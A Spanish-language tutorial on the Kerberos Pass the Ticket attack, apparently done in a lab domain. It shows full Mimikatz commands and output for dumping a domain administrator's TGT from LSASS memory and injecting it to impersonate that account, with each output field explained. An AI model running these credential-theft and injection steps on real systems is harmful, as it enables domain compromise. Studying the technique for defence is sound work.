2 - Pass The Ticket (PTT)

Pass The Ticket es una técnica que consiste en reutilizar un ticket Kerberos válido (TGT o TGS) para suplantar a un usuario ya autenticado, sin necesidad de conocer su contraseña ni su hash.

Para que el ataque funcione, no sólo se necesita el ticket, sino también la clave de sesión asociada a él. Sin esta clave, el ticket no puede ser utilizado correctamente porque no es posible generar los campos de autenticación requeridos en los mensajes KRB_AP_REQ.

El ticket y la clave de sesión pueden obtenerse de varias formas:

  • Realizando un ataque de tipo Man-In-The-Middle (MitM), aunque esto raramente permite recuperar la clave de sesión.

  • Extrayendo los tickets y claves de sesión directamente desde la memoria del proceso LSASS, utilizando herramientas como Mimikatz (sekurlsa::tickets o kerberos::ptt). Este proceso, responsable de la gestión de credenciales y autenticaciones, almacena en memoria tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service), así como otros elementos sensibles. Herramientas como Mimikatz permiten extraer estos tickets en formato .kirbi, que pueden ser inyectados posteriormente en otra sesión para suplantar la identidad de un usuario dentro del dominio, sin necesidad de conocer su contraseña.

Es más eficaz reutilizar un TGT en lugar de un TGS, ya que el TGT puede usarse para solicitar múltiples TGS hacia distintos servicios. En cambio, un TGS sólo sirve para un único servicio.

También se debe tener en cuenta que los tickets tienen una validez limitada, normalmente 10 horas por defecto, tras lo cual expiran y dejan de ser utilizables.

Ejemplo de extracción de ticket TGT implementando mimikatz

En este caso se comprometió un equipo del DC y se cargó el ejecutable de mimikatz, luego se habilitaron los privilegios de depuración para acceder a la memoria del proceso LSASS, desde donde se van a extraer y exportar los tickets Kerberos activos, en este caso el TGT de la cuenta del administrador del DC. El comando para depurar es privilege::debug

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                               
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                    
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/ 

mimikatz # privilege::debug 
Privilege '20' OK                 

Luego, con el comando sekurlsa::tickets /export, vamos a extraer y exportar todos los tickets Kerberos almacenados en memoria (LSASS) del sistema operativo, en este caso solo voy a mostrar el ticket del administrador que es el que vamos a usar para hacer el Pass the Ticket

mimikatz # sekurlsa::tickets /export 

Authentication Id : 0 ; 225810 (00000000:00037212)                                                
Session           : NetworkCleartext from 0                                                       
User Name         : Administrator                                                                 
Domain            : CONTROLLER                                                                    
Logon Server      : CONTROLLER-1                                                                  
Logon Time        : 5/24/2025 3:46:27 PM                                                          
SID               : S-1-5-21-432953485-3795405108-1502158860-500                                  
                                                                                                  
         * Username : Administrator                                                               
         * Domain   : CONTROLLER.LOCAL                                                            
         * Password : (null)                                                                      
                                                                                                  
        Group 0 - Ticket Granting Service                                                         
                                                                                                  
        Group 1 - Client Ticket ?                                                                 
                                                                                                  
        Group 2 - Ticket Granting Ticket                                                          
         [00000000]                                                                               
           Start/End/MaxRenew: 5/24/2025 3:46:27 PM ; 5/25/2025 1:46:27 AM ; 5/31/2025 3:46:27 PM 
           Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL                     
           Target Name  (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
           Client Name  (01) : Administrator ; @ CONTROLLER.LOCAL ( CONTROLLER.LOCAL )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             092754636d6d5cef13aabaa4909bbedaa4870ba136afcab2b226f4fe09b7812e
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !
📌Desglosando el Output

Identificación de la sesión

Authentication Id : 0 ; 225810 (00000000:00037212)
Session           : NetworkCleartext from 0
User Name         : Administrator
Domain            : CONTROLLER
Logon Server      : CONTROLLER-1
Logon Time        : 5/24/2025 3:46:27 PM
SID               : S-1-5-21-432953485-3795405108-1502158860-500
  • Authentication Id: Identificador único de inicio de sesión dentro del sistema.

  • Session: Indica que es una sesión remota ("NetworkCleartext").

  • User Name / Domain: Usuario que inició sesión (Administrator) y su dominio (CONTROLLER).

  • SID: Security Identifier del usuario. El RID -500 indica que es la cuenta Administrador por defecto del dominio.

  • Logon Time: Fecha y hora de inicio de sesión.

Información del ticket Kerberos

Group 2 - Ticket Granting Ticket

Este es el TGT, ticket emitido por el KDC que permite solicitar TGS para acceder a servicios.

Start/End/MaxRenew: 5/24/2025 3:46:27 PM ; 5/25/2025 1:46:27 AM ; 5/31/2025 3:46:27 PM
  • Start: Hora de emisión del TGT.

  • End: Fecha de expiración del ticket (≈10 horas, por defecto).

  • MaxRenew: Tiempo máximo durante el cual se puede renovar el ticket (por ejemplo, para sesiones largas sin volver a autenticarse).

Detalle del TGT

Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Target Name  (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Client Name  (01) : Administrator ; @ CONTROLLER.LOCAL
  • Service Name / Target Name: El TGT está emitido por el servicio krbtgt del dominio CONTROLLER.LOCAL.

  • Client Name: El usuario autenticado es Administrator.

Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

Este campo indica los flags del ticket:

  • initial: Es el ticket inicial obtenido por autenticación directa.

  • pre_authent: Requiere pre-autenticación.

  • renewable: Se puede renovar antes de expirar.

  • forwardable: Se puede reenviar a otros servicios.

  • name_canonicalize: El nombre fue convertido a su forma canónica.

Criptografía del ticket

Session Key       : 0x00000012 - aes256_hmac
092754636d6d5cef13aabaa4909bbedaa4870ba136afcab2b226f4fe09b7812e
  • Algoritmo: AES-256 con HMAC.

  • Clave de sesión: Se utiliza para cifrar la comunicación entre el cliente y los servicios.

Ticket : 0x00000012 - aes256_hmac ; kvno = 2        [...]
  • Ticket: Cifrado con la clave del KDC (krbtgt), no visible aquí.

  • KVNO (Key Version Number): Versión de la clave usada para firmar el ticket (muy útil para validar la validez de Golden Tickets).

Exportación del ticket

* Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !

El ticket fue guardado en disco con el nombre:

[auth_id]-[grupo]-[servicio]-[flags]-[usuario]@krbtgt-[dominio].kirbi

Este archivo .kirbi puede ser reutilizado posteriormente con:

  • kerberos::ptt en Mimikatz

  • Rubeus ptt

  • Herramientas de Impacket (psexec.py, wmiexec.py, etc.)

Ahora podemos usar el módulo kerberos::ptt para hacer el Pass the Ticket. Este modulo se encarga de inyectar el ticket Kerberos (.kirbi) directamente en la memoria del proceso LSASS, permitiendo que el sistema lo utilice como si hubiese sido obtenido legítimamente por el usuario.

mimikatz # kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi

* File: '[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi': OK

mimikatz # exit
Bye!

Este es el archivo de ticket exportado previamente con sekurlsa::tickets /export. Contiene un TGT válido del usuario Administrator para el dominio CONTROLLER.LOCAL

[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi

Ahora con el comando klist desde el cmd podemos ver los tickets Kerberos activos en la sesión actual del usuario. En este caso, está mostrando un Ticket Granting Ticket (TGT) del usuario Administrator. Vamos a desglosarlo parte por parte:

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist

Current LogonId is 0:0x37212

Cached Tickets: (1)

#0>     Client: Administrator @ CONTROLLER.LOCAL
        Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 5/24/2025 15:46:27 (local)
        End Time:   5/25/2025 1:46:27 (local)
        Renew Time: 5/31/2025 15:46:27 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
  • klist → Muestra todos los tickets Kerberos almacenados en caché en la sesión del usuario actual.

  • No requiere parámetros adicionales, pero refleja:

    • Current LogonId → Identificador de sesión de inicio del sistema operativo asociado al ticket.

    • Client → Usuario autenticado al que pertenece el ticket.

    • Server → Servicio Kerberos que emitió el ticket (por ejemplo, krbtgt).

    • KerbTicket Encryption Type → Algoritmo de cifrado usado para el ticket.

    • Ticket Flags → Propiedades del ticket (por ejemplo, renovable, reenviable, autenticación previa).

    • Start Time → Momento en que el ticket comenzó a ser válido.

    • End Time → Expiración del ticket.

    • Renew Time → Límite hasta el cual puede renovarse el ticket.

    • Cache Flags → Estado del ticket dentro de la caché local.

    • Kdc Called → Nombre del KDC que emitió el ticket, puede estar vacío si fue inyectado manualmente.

Last updated